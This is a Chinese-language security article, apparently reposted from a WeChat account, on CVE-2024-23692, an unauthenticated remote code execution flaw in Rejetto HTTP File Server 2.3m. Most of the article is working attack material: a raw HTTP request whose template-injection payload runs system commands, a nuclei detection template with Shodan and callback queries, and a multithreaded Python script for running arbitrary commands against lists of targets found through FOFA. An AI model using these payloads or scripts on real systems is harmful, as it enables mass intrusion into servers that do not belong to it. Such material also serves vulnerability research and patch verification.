HFS2.3远程代码执行(CVE-2024-23692 )漏洞

admin 2025年4月24日21:11:19评论0 views字数 6207阅读20分41秒阅读模式

免则声明:本公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权转载和其他公众号白名单转载,如需转载,联系作者开白。

文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

一、漏洞描述

Rejetto HTTP File Server (HFS) 是一个轻量级的 HTTP 文件服务器,广泛用于文件共享和文件传输。CVE-2024-23692 漏洞是一个模板注入漏洞,允许远程、未经身份验证的攻击者通过发送特制的 HTTP 请求在受影响的系统上执行任意命令。

二、影响版本

Rejetto HTTP File Server 2.3m 及之前版本

三、漏洞复现

GET /?n=%0A&cmd=systeminfo&search=%25xxx%25url%25:%password%}{.exec|{.?cmd.}|timeout=15|out=abc.}{.?n.}{.?n.}RESULT:{.?n.}{.^abc.}===={.?n.} HTTP/1.1Host: x.x.x.xPragma: no-cacheCache-Control: no-cacheUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer: http://x.x.x.x/?n=%0A&cmd=ipconfig&search=%25xxx%25url%25:%password%}{.exec|{.?cmd.}|timeout=15|out=abc.}{.?n.}{.?n.}RESULT:{.?n.}{.^abc.}===={.?n.}Accept-Encoding: gzip, deflateAccept-Language: en,zh-CN;q=0.9,zh;q=0.8Cookie: HFS_SID_=0.848832100629807Connection: close
HFS2.3远程代码执行(CVE-2024-23692 )漏洞

三、批量验证脚本

1.nuclei脚本

id: CVE-2024-23692info:  name: Rejetto HTTP File Server - Template injection  author: johnk3r  severity: critical  description: |    This vulnerability allows a remote, unauthenticated attacker to execute arbitrary commands on the affected system by sending a specially crafted HTTP request.  reference:    - https://github.com/rapid7/metasploit-framework/pull/19240    - https://mohemiv.com/all/rejetto-http-file-server-2-3m-unauthenticated-rce/  metadata:    verified: true    max-request: 1    shodan-query: product:"HttpFileServer httpd"  tags: cve,cve2024,hfs,rcehttp:  - method: GET    path:      - "{{BaseURL}}/?n=%0A&cmd=nslookup+{{interactsh-url}}&search=%25xxx%25url%25:%password%}{.exec|{.?cmd.}|timeout=15|out=abc.}{.?n.}{.?n.}RESULT:{.?n.}{.^abc.}===={.?n.}"    matchers-condition: and    matchers:      - type: word        part: interactsh_protocol        words:          - "dns"      - type: word        part: body        words:          - "rejetto"

2.python脚本

import argparseimport http.clientfrom urllib.parse import urlparse, quotefrom pathlib import Pathimport timefrom concurrent.futures import ThreadPoolExecutor#使用说明#fofa:"HttpFileServer""""1.单个站点验证python exploit.py -url http://example.com:8080 -cmd "whoami"2.多个站点验证python exploit.py -r urls.txt -cmd "whoami" -o results.txt"""def is_exploit_successful(html_content):    # 寻找RESULT:和====之间的内容    start_index = html_content.find('RESULT:') + len('RESULT:')    end_index = html_content.find('====n', start_index)    result_content = html_content[start_index:end_index].strip()  # 去除两端空白字符    # 判断是否成功    if result_content:        return True, result_content    else:        return False, Nonedef fetch_response(url, request_path, headers):    parsed_url = urlparse(url)    target_host = parsed_url.hostname    target_port = parsed_url.port if parsed_url.port else (80 if parsed_url.scheme == 'http' else 443)    for attempt in range(3):  # 重试三次        try:            if parsed_url.scheme == 'https':                import http.client as client                conn = client.HTTPSConnection(target_host, target_port)            else:                conn = http.client.HTTPConnection(target_host, target_port)            conn.request('GET', request_path, headers=headers)            response = conn.getresponse()            return response        except http.client.HTTPException:            time.sleep(2)  # 等待 2 秒后重试    raise http.client.HTTPException(f"URL '{url}' 发生 HTTPException 错误: 连接失败")def process_url(url, command, output_file=None):    try:        # 如果用户没有输入协议,自动添加http://前缀        if not url.startswith('http://') and not url.startswith('https://'):            url = 'http://' + url        parsed_url = urlparse(url)        if parsed_url.scheme not in ['http', 'https']:            print(f"警告: URL '{url}' 使用了无效的协议,仅支持 HTTP 和 HTTPS。")            return        target_host = parsed_url.hostname        target_port = parsed_url.port if parsed_url.port else (80 if parsed_url.scheme == 'http' else 443)        # 使用用户指定的命令生成请求路径,双右花括号表示一个右花括号        request_path = f'/?n=%0A&cmd={command}&search=%25xxx%25url%25:%password%}}{{.exec|{{.?cmd.}}|timeout=15|out=abc.}}{{.?n.}}{{.?n.}}RESULT:{{.?n.}}{{.^abc.}}===={{.?n.}}'        # 请求头        headers = {            'Host': f'{target_host}:{target_port}',            'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0',            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',            'Accept-Language': 'en-US,en;q=0.5',            'Accept-Encoding': 'gzip, deflate, br',            'Connection': 'close',            'Upgrade-Insecure-Requests': '1'        }        # 获取响应        response = fetch_response(url, request_path, headers)        # 读取并打印响应内容        if response.getheader('Content-Encoding') == 'gzip':            import gzip            from io import BytesIO            compressed_data = response.read()            buf = BytesIO(compressed_data)            f = gzip.GzipFile(fileobj=buf)            html_content = f.read().decode('utf-8')  # 解压缩并解码        else:            html_content = response.read().decode('utf-8')  # 假设响应是 UTF-8 编码的        # 检查漏洞利用是否成功,并输出结果        success, result = is_exploit_successful(html_content)        if success:            print(f"URL '{url}' 漏洞利用成功!结果内容:n{result}n")            if output_file:                with open(output_file, 'a') as f:                    f.write(f"URL '{url}' 漏洞利用成功!结果内容:n{result}nn")        else:            print(f"URL '{url}' 漏洞利用失败。")    except http.client.HTTPException as e:        print(e)    except Exception as ex:        print(f"URL '{url}' 发生错误: {ex}")def main():    parser = argparse.ArgumentParser(description='使用指定的 URL 开发利用漏洞。')    parser.add_argument('-url', help='单个目标 URL (例如,http://example.com:8080)')    parser.add_argument('-r', help='包含多个目标 URL 的文件路径')    parser.add_argument('-cmd', default='whoami', help='要执行的命令 (默认: whoami)')    parser.add_argument('-o', help='保存成功结果的文件 (默认: output.txt, 仅当使用 -r 参数时)')    args = parser.parse_args()    urls = []    if args.url:        urls.append(args.url)    elif args.r:        file_path = Path(args.r)        if not file_path.is_file():            print(f"错误: 文件 '{args.r}' 不存在或不是有效的文件路径。")            return        with open(file_path, 'r') as f:            urls = [line.strip() for line in f.readlines() if line.strip()]    if not urls:        print("错误: 请提供至少一个目标 URL。")        return    command = quote(args.cmd)    output_file = args.o if args.r else None    if output_file:        # 清空输出文件        open(output_file, 'w').close()    # 使用多线程加速处理    with ThreadPoolExecutor(max_workers=10) as executor:        futures = [executor.submit(process_url, url, command, output_file) for url in urls]        for future in futures:            try:                future.result()            except Exception as e:                print(f"处理 URL 时发生错误: {e}")if __name__ == "__main__":    main()

关 注 有 礼

原文始发于微信公众号(渗透测试研究中心):HFS2.3远程代码执行(CVE-2024-23692 )漏洞

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月24日21:11:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   HFS2.3远程代码执行(CVE-2024-23692 )漏洞https://cn-sec.com/archives/3993375.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息